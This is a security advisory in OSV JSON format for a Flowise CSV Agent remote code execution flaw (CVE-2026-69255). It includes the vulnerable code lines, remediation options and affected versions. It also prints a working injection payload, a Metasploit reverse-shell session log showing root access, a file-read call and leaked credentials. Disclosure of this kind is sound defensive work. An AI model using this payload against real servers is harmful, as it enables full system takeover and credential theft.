CVE-2026-69255: Flowise Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vmv7-4m6c-3cg5",
  "modified" : "2026-08-04T15:41:21Z",
  "published" : "2026-08-04T15:40:28Z",
  "aliases" : [ "CVE-2026-69255" ],
  "summary" : "Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified",
  "details" : "## UPDATE 2026-05-20: Full RCE as root VERIFIED\n\n**This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.**\n\n### Verified Exploit Chain\n\n1. Python code injection via `base64_string = \"${base64String}\"` (CSVAgent.ts line 161)\n2. Pyodide `js` bridge provides access to the host Node.js process\n3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction)\n4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container)\n\n### Working RCE Payload\n\n```\n\";import js;e=js.globalThis.eval;e(\"process.mainModule.constructor._load('child_process').execSync('id')\");#\n```\n\n**Constraint:** No commas allowed in payload — `csvFile.split(',')` splits on all commas.\n\n### Metasploit Session Proof\n\n```\nmsf > use exploit/multi/http/flowise_csv_agent_rce\nmsf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp\nmsf > exploit\n\n[+] Authentication successful\n[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4\n[*] Sending stage (3090404 bytes) to 172.17.0.2\n[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)\n\nmeterpreter > getuid\nServer username: root\n\nmeterpreter > sysinfo\nComputer     : cbce3fb352b7\nOS           : Linux 6.8.0-111-generic\nArchitecture : x64\nMeterpreter  : x64/linux\n\nmeterpreter > shell\n# id\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)\n\n# uname -a\nLinux cbce3fb352b7 6.8.0-111-generic x86_64 Linux\n```\n\n### Additional Verified Impact\n\n**Credential Theft:**\n```\nFLOWISE_PASSWORD=admin123\nDATABASE_PATH=/root/.flowise\nAPIKEY_PATH=...\n```\n\n**Arbitrary File Read** via `process.binding('fs').readFileUtf8('/etc/hostname')` → `cbce3fb352b7`\n\n**Server DoS** — certain native binding calls (spawn_sync) crash the Node.js process entirely.\n\n### CVSS v3.1: 9.9 CRITICAL\n\n`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n---\n\n## Original Report (below)\n\n## Vulnerable Code\n\n**File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\n**Lines 133-138** — Unsanitized string extraction from data URI via `file.split(',').pop().pop()` — no validation on content.\n\n**Lines 155-171** — Direct interpolation into executable Python code:\n`base64_string = \"${base64String}\"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.\n\n`validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.\n\n## Remediation\n\n**Option 1 (Best):** Use `pyodide.globals.set('base64_string', base64String)` instead of string interpolation\n\n**Option 2:** Validate base64 before interpolation — reject if not matching `/^[A-Za-z0-9+/=]*$/`\n\n**Option 3:** Escape special characters (`\"`, `\\n`, `\\r`, `\\\\`) before interpolation\n\n## Related CVEs\n- CVE-2026-41264 (CSV Agent regex bypass)\n- CVE-2026-41265 (Airtable Agent sandbox bypass)\n- CVE-2026-46442 (NodeVM sandbox escape)\n\n**Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise-components"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/6499"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T15:40:28Z",
    "nvd_published_at" : null
  }
}